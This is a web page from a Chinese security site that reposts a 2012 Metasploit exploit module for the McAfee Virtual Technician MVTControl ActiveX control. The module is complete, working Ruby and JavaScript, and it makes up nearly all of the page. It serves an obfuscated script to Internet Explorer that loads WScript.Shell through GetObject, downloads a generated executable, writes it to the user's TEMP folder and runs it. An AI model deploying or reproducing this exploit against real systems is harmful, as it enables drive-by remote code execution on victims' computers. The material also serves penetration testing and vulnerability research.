首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-05-02  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
   'Description'    => %q{
     This modules exploits a vulnerability found in McAfee Virtual Technician's
    MVTControl.  This ActiveX control can be abused by using the GetObject() function
    to load additional unsafe classes such as WScript.Shell, therefore allowing remote
    code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'rgod',   #Initial discovery, Poc
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     [ 'EDB', '18805' ]
    ],
   'Payload'        =>
    {
     'BadChars'        => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "none",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 30 2012",
   'DefaultTarget'  => 0))
 end

 def exploit
  @payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
  super
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']

  if agent !~ /MSIE \d/
   print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  if request.uri =~ /\.exe$/
   return if ((p=regenerate_payload(cli))==nil)
   data = generate_payload_exe({:code=>p.encoded})
   print_status("Sending payload")
   send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
   return
  end

  # <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
  js = <<-JS
  var obj = new ActiveXObject("MVT.MVTControl.6300");

  var ws  = obj.GetObject("WScript.Shell");
  var ado = obj.GetObject("ADODB.Stream");
  var e   = ws.Environment("Process");
  var url = document.location + "/#{@payload_name}";
  var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

  var xml = new ActiveXObject("Microsoft.XMLHTTP");
  xml.open("GET", url, false);
  xml.send(null);
  res = xml.responseBody;

  ado.Type = 1;
  ado.Mode = 3;
  ado.Open();
  ado.Write(res);
  ado.SaveToFile(tmp);
  ws.Run(tmp, 0);
  JS

  js = ::Rex::Exploitation::JSObfu.new(js)
  js.obfuscate

  html = <<-EOS
  <html>
  <head>
  </head>
  <body>
  <script defer=defer>
  #{js}
  </script>
  </body>
  </html>
  EOS

  print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAMSUNG NET-i Viewer 1.37 SEH
·LAN Messenger <= v1.2.28 Denia
·McAfee Virtual Technician 6.3.
·Mikrotik Router Denial of Serv
·Remote-Anything Player 5.60.15
·Solarwinds Storage Manager 5.1
·WebCalendar 1.2.4 Pre-Auth Rem
·Mikrotik's Winbox Remote Code
·Format Factory v2.95 - Buffer
·Nokia PC Suite Video Manager 7
·Microsoft Windows xp Win32k.sy
·CPE17 Autorun Killer <= 1.7.1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved